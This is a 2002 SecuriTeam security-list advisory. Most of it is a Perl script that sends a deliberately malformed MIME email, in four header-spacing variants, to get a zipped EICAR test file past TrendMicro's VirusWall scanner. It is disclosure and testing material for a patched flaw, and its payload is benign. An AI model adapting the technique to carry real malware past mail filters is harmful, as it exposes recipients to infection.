[EXPL] TrendMicro's VirusWall Space Gap (Exploit)
From: support@securiteam.comDate: 07/18/02
- Previous message: support@securiteam.com: "[UNIX] Serious Flaw in Unreal IRCd (Server Linking, Svsnick)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Thu, 18 Jul 2002 10:55:59 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
TrendMicro's VirusWall Space Gap (Exploit)
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/securitynews/5KP000A7QE.html> TrendMicro's
VirusWall Space Gap (Virus Protection Bypassing), a security vulnerability
in TrendMicro's VirusWall allows remote attackers to bypass its defense
and insert a malicious virus though the VirusWall. The following is an
exploit code that can be used to test for this vulnerability.
DETAILS
Exploit:
#!/usr/bin/perl
# The following code generates a malformed email with an EICAR attachment
(False Virus).
# The vulnerability has been found to be present in TrendMicro's
VirusWall, and has been now patched.
# Refer to http://solutionbank.antivirus.com/solutions/solutionsearch.asp
solution ID 11948
#
# BeyondSecurity's SecurITeam, Copyrighted Material, for Testing Purposes
only. For more information see:
# http://www.securiteam.com/securitynews/5KP000A7QE.html
use Getopt::Std;
use IO::Socket::INET;
getopt('tfhvsb');
if (!$opt_f || !$opt_t || !$opt_h)
{
print "Usage: malformed_email.pl <-t to> <-f from> <-h smtphost> [-v
variant] [-s subject] [-b text]\nVariants:\n(1) Content-Type\n(2) Content
Transfer Encoding\n(3) Boundary Space (trailing)\n(4) Boundary Space
(prefix)\n";
exit;
}
$sock = IO::Socket::INET->new(PeerAddr => "$opt_h",PeerPort => '25', Proto
=> 'tcp');
unless (<$sock> =~ "220") { die "Not a SMTP Server?" }
print $sock "HELO you\r\n";
unless (<$sock> =~ "250") { die "HELO failed" }
print $sock "MAIL FROM:<$opt_f>\r\n";
unless (<$sock> =~ "250") { die "MAIL FROM failed" }
print $sock "RCPT TO:<$opt_t>\r\n";
unless (<$sock> =~ "250") { die "RCPT TO failed" }
print $sock "DATA\r\n";
unless (<$sock> =~ "354") { die "DATA failed" }
if ($opt_v eq "1")
{
$content_type = "Content-Type :";
}
else
{
$content_type = "Content-Type:";
}
if ($opt_v eq "2")
{
$content_transfer_encoding = "Content-Transfer-Encoding :";
}
else
{
$content_transfer_encoding = "Content-Transfer-Encoding:";
}
if ($opt_v eq "3")
{
$boundary = "boundary=----=_NextPart_000_000E_01C2100B.F369D840 ";
}
else
{
if ($opt_v eq "4")
{
$boundary = "boundary= ----=_NextPart_000_000E_01C2100B.F369D840";
}
else
{
$boundary = "boundary=\"----=_NextPart_000_000E_01C2100B.F369D840\"";
}
}
print $sock <<EOF;
From: $opt_f
To: $opt_t
Subject: $opt_s
MIME-Version: 1.0
$content_type multipart/mixed;
$boundary
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
This is a multi-part message in MIME format.
------=_NextPart_000_000E_01C2100B.F369D840
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
$opt_b
------=_NextPart_000_000E_01C2100B.F369D840
$content_type application/x-zip-compressed;
name="eicar_com.zip"
$content_transfer_encoding base64
Content-Disposition: attachment;
filename="eicar_com.zip"
UEsDBAoAAAAAAOCYuCg8z1FoRAAAAEQAAAAJAAAAZWljYXIuY29tWDVPIVAlQEFQWzRcUFpYNTQo
UF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCpQSwECFAAK
AAAAAADgmLgoPM9RaEQAAABEAAAACQAAAAAAAAABACAA/4EAAAAAZWljYXIuY29tUEsFBgAAAAAB
AAEANwAAAGsAAAAAAA==
------=_NextPart_000_000E_01C2100B.F369D840--
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[UNIX] Serious Flaw in Unreal IRCd (Server Linking, Svsnick)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
